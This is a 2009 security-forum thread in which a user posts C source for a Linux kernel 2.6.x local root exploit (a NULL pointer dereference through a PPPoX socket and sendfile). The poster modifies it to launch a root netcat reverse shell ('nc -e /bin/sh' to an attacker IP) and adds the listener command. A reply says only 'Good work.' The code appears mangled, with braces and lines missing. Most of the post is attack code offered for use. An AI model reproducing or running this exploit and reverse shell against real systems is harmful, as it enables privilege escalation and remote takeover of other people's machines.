Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 23, 2024
 Members List
 IRC chat
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 Sql Char Encoder
 y3dips ITsec
 Md5 Cracker
 User Manuals
 Recommend Us
 Your Account

User Info
Welcome, Anonymous

Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 536
Members: 0
Total: 536
PacketStorm News
·301 Moved Permanently

Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> C and C++ -> netcat with local root exploit for kernel 2.6.x
Post new topic  Reply to topic View previous topic :: View next topic 
netcat with local root exploit for kernel 2.6.x
PostPosted: Sun Aug 16, 2009 1:16 pm Reply with quote
Valuable expert
Valuable expert
Joined: Jan 25, 2008
Posts: 50

netcat with local root exploit for kernel 2.6.x

Well, there are many ways to do it, but I'm going to show that I had tested. This is the code 'Przemyslaw Frasunek' which talks about Linux NULL pointer dereference. The hole was discovered by google security team and is based on vmsplice of qaaz.

I've made a Reverse Bind Shell with netcat, "embedded" in the exploit. It is very simple to change a few lines to do it. In this way, executing commands directly with root privilegies.

Consider the following code, Local Root Exploit for kernel 2.6.x:


#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>

static unsigned int uid, gid;

#define USER_CS   0x73
#define USER_SS   0x7b
#define USER_FL   0x246
#define STACK(x) (x + sizeof(x) - 40)

void exit_code();
char exit_stack[1024 * 1024];

static inline __attribute__((always_inline)) void *get_current()
   unsigned long curr;
   __asm__ __volatile__ (
      "movl %%esp, %%eax ;"
      "andl %1, %%eax ;"
      "movl (%%eax), %0"
      : "=r" (curr)
      : "i" (~8191)
   return (void *) curr;

static inline __attribute__((always_inline)) void exit_kernel()
   __asm__ __volatile__ (
      "movl %0, 0x10(%%esp) ;"
      "movl %1, 0x0c(%%esp) ;"
      "movl %2, 0x08(%%esp) ;"
      "movl %3, 0x04(%%esp) ;"
      "movl %4, 0x00(%%esp) ;"
      : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
          "i" (USER_CS), "r" (exit_code)

void kernel_code()
   int i;
   uint *p = get_current();

   for (i = 0; i < 1024-13; i++) {
      if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
          p[0] = p[1] = p[2] = p[3] = 0;
         p[4] = p[5] = p[6] = p[7] = 0;
         p = (uint *) ((char *)(p + 8) + sizeof(void *));
         p[0] = p[1] = p[2] = ~0;


void exit_code()
   if (getuid() != 0) {
      fprintf(stderr, "failed\n");

   execl("/bin/sh", "sh", "-i", NULL);

int main(void) {
   char template[] = "/tmp/padlina.XXXXXX";
   int fdin, fdout;
   void *page;

   uid = getuid();
   gid = getgid();
   setresuid(uid, uid, uid);
   setresgid(gid, gid, gid);

   if ((personality(0xffffffff)) != PER_SVR4) {
      if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
         return -1;
   } else {
      if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
         return -1;

   *(char *)0 = '\x90';
   *(char *)1 = '\xe9';
   *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

   if ((fdin = mkstemp(template)) < 0) {
      return -1;

   if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
      return -1;

   ftruncate(fdin, PAGE_SIZE);
   sendfile(fdout, fdin, NULL, PAGE_SIZE);

If you follow a few lines, we can see some subroutines as void exit_code (), and in context, we can see the function execl.

execl("/bin/sh", "sh", "-i", NULL);

This function replaces the current process image with a new process image. In other words, it executes the program pointed to by filename. However, for this exploit, we can modify it by inserting commands. For example: iptables, but this time, I will show with netcat only. It's easy to change, it's like playing with the arguments.

execl("/bin/sh", "sh", "-c", "./nc -e /bin/sh XXX.XXX.XXX.XXX port");

Where XXX.XXX.XXX.XXX is your IP for Reverse Bind, nc is netcat binary, that is at the same directory. Then, we compile, so, netcat runs with root privileges. On the other hand, will be waiting with netcat, of course.

~# nc -v -l -n -p port

Well, this is not a good idea, is not a good way. There are other ways, but I think it can be something. This is Complete exploit source

Feedback is welcome.

Last edited by julioisaias on Sun Aug 16, 2009 7:34 pm; edited 1 time in total

I study enough to make the rest a result.
View user's profile Send private message
PostPosted: Sun Aug 16, 2009 1:29 pm Reply with quote
Advanced user
Advanced user
Joined: Jan 22, 2008
Posts: 208

Good work.

View user's profile Send private message Visit poster's website
netcat with local root exploit for kernel 2.6.x
  www.waraxe.us Forum Index -> C and C++
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

 Post new topic  Reply to topic  

Powered by phpBB 2001-2008 phpBB Group

Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.158 Seconds